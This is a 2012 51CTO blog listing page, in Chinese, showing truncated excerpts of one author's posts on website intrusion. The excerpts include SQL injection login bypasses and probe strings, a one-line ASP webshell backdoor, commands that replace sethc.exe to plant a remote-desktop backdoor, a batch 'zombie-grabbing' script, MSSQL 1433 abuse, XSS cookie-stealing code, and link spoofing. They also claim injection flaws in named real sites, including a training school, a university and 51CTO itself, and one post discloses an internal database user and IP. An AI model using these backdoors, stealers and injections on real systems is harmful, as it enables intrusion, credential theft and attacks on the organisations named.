51CTO首页
AI.x社区
博客
学堂
精品班
软考社区
免费课
企业培训
鸿蒙开发者社区
WOT技术大会
IT证书
公众号矩阵
移动端
短视频 免费课程 课程排行 直播课 软考学堂
全部课程 厂商认证 IT技术 24年11月软考 PMP项目管理 免费题库
在线学习
文章 资源 问答 课堂 专栏 直播
51CTO
鸿蒙开发者社区
51CTO技术栈
51CTO官微
51CTO学堂
51CTO博客
CTO训练营
鸿蒙开发者社区订阅号
51CTO软考
51CTO学堂APP
51CTO学堂企业版APP
鸿蒙开发者社区视频号
51CTO软考题库
# Web脚本

北大青鸟的网站就那么回事

1.漏洞果断（有意思吧） 2.数据库就这样 3.一些东西就那么回事   4.所以网站ip就那么回事 5.请官方修复漏洞，谢谢合作

职场
数据库
休闲
北大青鸟
原创 2012-03-29 23:16:33 449 阅读

绕过SQL支持的登录表单

在执行具备sql后端的基于表单验证的网站上，sql注入可能绕过验证 经典代码   select * from authenticationtable where 用户=‘username  input’ and  密码=‘password input’ 如果验证没有正确实现，在用户域注入 userna

密码
password
sql语句
表单
破折号
原创 2012-03-28 21:21:48 1084 阅读

注入校验流行的字符

测试输入校验流行的字符   字符 URL编码 注释 ’ %27 对SQL注入非常有用，能够触发提供信息错误 ； %3b 命令分隔符，脚本行结束符 [NULL] %00 文件访问的的字符串结束符，命令分隔符 [回车] %0a 命令分隔符 + %2b 在URL上代表空格，对SQL注入有益 > %3c HTML开始标记 < %3e HTML代表结束标记

职场
查询
休闲
流行
原创 2012-03-28 17:17:38 480 阅读

某大学分站存在注入

  1.注入就不用说基本信息  2.用户名密码   3.教育密码   4.不要看联系对方了  

密码
职场
用户名
大学
休闲
原创 2012-03-24 01:39:14 433 阅读 1点赞

19种注入方法

  19种 网站入侵方法 1.经典注入 通常，判断一个网站是否存在注入点，可以用’，and 1=1 ,and 1=2,+and+1=1,+and+1=2,%20and%201=1,%20and%201=2,来判断，如果and 1=1正常返回页面，1=2错误，或者找不到，那么就存在注入点 2.万能密码OR漏洞     万能密码'or'='

管理员
网站
数据库
十六进制
后台管理
转载 精选 2012-03-23 15:21:21 507 阅读 1收藏

51cto注入漏洞

51cto分站存在注入漏洞      1.漏洞地址：http://g.51cto.com/grouptag.php?classid=3      2.基本信息Current User:  mysql@192.168.168.48：      &

职场
信息
休闲
原创 2012-03-22 23:46:24 443 阅读 1点赞 1评论

webshell提权

暗藏webshell后门  1.插一句木马后门，在index.asp或者default.asp在最底部或者中间加入   <% eval request ("pass") %>有时候会出错测在后门代码处理为   <SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>try

图片
webshell
request
documents
原创 2012-03-17 15:20:23 1139 阅读

为3389开后门

copy c:\windows\explorer.exe c:\windows\system32\sethc.exe copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\seth.exe attrib c:\windows\system32\sethc.exe +h attrib c:\windows\system3

职场
windows
记事本
休闲
原创 2012-03-13 13:47:46 342 阅读

常见的网络欺骗

 真网址假网址      一.假域名注册欺骗    1)二级域名欺骗    2）一级域名欺骗    3）域名后缀欺骗     二.状态栏中的网址欺骗    <P><a id

职场
域名
域名注册
休闲
状态栏
原创 2012-03-07 18:40:47 398 阅读

8909自动抓鸡

setlocal cls color A title 自动抓鸡v3.0 echo ====================================================== echo 自动抓鸡v3.0 echo ====================================================== del result.txt del s.t

职场
休闲
del
8909鸡
原创 2012-03-07 18:38:59 1020 阅读

状态栏中的网址欺骗

状态栏中的网址欺骗  <P><a id=" SPOOF" herf="www.baidu.com"></a></p>  <div>  <a href="www.xiong.com" target=" _blank"&g

div
id
target
cursor
blank
原创 2012-03-07 18:37:02 311 阅读

1433抓鸡源码

use master go create procedure sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as

return
1433
function
procedure
抓鸡
原创 2012-03-07 18:33:01 1354 阅读

利用XSS盗取cookies

利用XSS盗取cookies      1.把下里代码保存为cookies.asp,然后上传到能被正常访问的空间          <%            test

职场
休闲
利用XSS盗取cookies
原创 2012-02-25 17:54:35 1993 阅读

Cookies注入步骤

Cookies注入步骤         1）寻找形如“*.asp?id=x”类的带参数的rul         2）去掉“id=x”查看页面显示是否正常。如果不正常，说明差数在数据传递中时直接起作用的 &n

职场
休闲
Cookies注入
翻译 精选 2012-02-25 17:53:14 345 阅读

注入cookies代码

ASP盗取cookies的代码              <%                dim strfilename &

职场
cookies
休闲
原创 2012-02-25 17:50:22 294 阅读

常见的XSS代码分析

常见的XSS代码分析         1.闭合“<”，“>”            1）攻击者可以构建如下语句来闭合HTML标记，构造出完整无错的脚步语句 &nbs

职场
休闲
常见的XSS代码分析
原创 2012-02-25 17:48:35 1346 阅读

Copyright © 2005-2024 51CTO.COM 版权所有 京ICP证060544号

关于我们
官方博客 全部文章 热门标签 班级博客
了解我们 网站地图 意见反馈
友情链接
鸿蒙开发者社区 51CTO学堂
51CTO 软考资讯